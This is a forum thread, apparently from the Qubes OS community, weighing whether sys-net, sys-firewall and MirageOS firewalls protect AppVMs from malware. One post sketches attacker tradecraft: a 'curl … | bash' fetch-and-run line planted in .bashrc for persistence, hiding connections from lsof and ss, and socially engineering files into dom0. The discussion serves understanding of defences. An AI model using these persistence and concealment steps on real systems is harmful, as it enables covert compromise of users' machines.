“In Qubes, NetVM acts as netback to FirewallVM, which acts as a netback in turn to its clients. But in Qubes, NetVM is supposed to be untrusted! So, we have code running in kernel mode in the (trusted) FirewallVM that is talking to and trusting the (untrusted) NetVM!”
This post is from 2016. Has there been some patches to alleviate such described scenario?
Also, if MirageOS is lighter on RAM and, if, it is “safer” why is not being deployed in QubesOS by default?
To be honest, I have no idea what firewalls are for anyway.
If the attack is done over the netstack running in kernel mode, there is not much of a difference if we use one, two or three hops before the actual machine is reached.
If my machine has no listening ports open, how could an attacker abuse a service (since it is not listening)?
If my machine can connect to the outsite world, how could a reverse firewall be any kind of protection?
The attack surface is the browser, the email client and the user. If the browser, the email client or the user executes malicious code, i.e. a reverse shell tunneling through https, the machine is compromised.
You can have an application-based firewall, which does not allow netcat, bash or an arbitrary python script to connect to the outside world. But that has to be implemented on the same (virtual) machine, and not on the router or a sys-firewall since they have no idea about the state the attacked (virtual) machine is in.
Sys-net is responsible to use the Ethernet or wifi card … It gives you the outer connection, it’s exposed so it’s better to has it in disposable mode, and if it get hacked, when you restart it will become as new and the hack will get lost.
Sys firewall is behind sys-net and it’s responsable to filter packets that comes or goes to sys-net
Mirageos firewall is a replace of sys-firewall, lower ram but lower packet filtering speed.
Some people try to replace sys-net with OpenBSD
on order to change the operating system that is exposed to the world with one more secure by default OS.
But it does not help against getting hacked. If you execute malicous code in your AppVM your AppVM is compromised. Simple as that.
The TemplateVMs protect kind of against persistance, but the first thing an attacker with an reverse shell does is “situational awareness”. So I would put a curl url-with-malicous-script | bash in your .bashrc or .zshrc. From a forensic standpoint that is easy to find, so the next step is to escalate privileges to become root. Now that is easy on Qubes AppVMs. Being root doesn’t help much, except that you can render invisible so lsof or ss -tunap does not display the connections or processes of the attacker’s reverse shell.
Breaking out of a VM is diffcult though. On QubesOS an attacker would have to wait that the victim moves or copies something to dom0. If the victim does that he hopefully does not execute anything of that in dom0.
Good way to hack dom0 could be to talk a victim to download something from github and move it into dom0. Classic social engineering.
Fun fact… same with antivirus software. There are tons of evasion techniques. Since AV has to have lots of privileges it even has been used for privilege escalation.
Nothing will happen if sys net gets compromised, the qubes design knows that it can happen (it’s the insecure qube) and that’s the reason why you have a firewall behind it, also it’s usefull to make it disposable
The normal sys-firewall will not protect you if you are running a malware inside an appvm, but you can have an sys-ips like this than can serve as firewall and as IPS and let you see when a connection is in the malware rules that you can put
I run Suricata in my pfSense firewall, and it uses a lot of RAM and CPU. You probably don’t want to run it with less than 2-4 GB memory, and running inspection on a 1gbps connection does take up quite a lot of CPU.
It will detect Tor traffic and connections to compromised hosts, but it pretty much only detects automated attacks.
Yeah, I would like to have a thread focusing on that part from the MirageOS blog post linked above. Wondering if that kind of an exploit (?) is mitigated in the updates to QubesOS since.
Classic social engineering.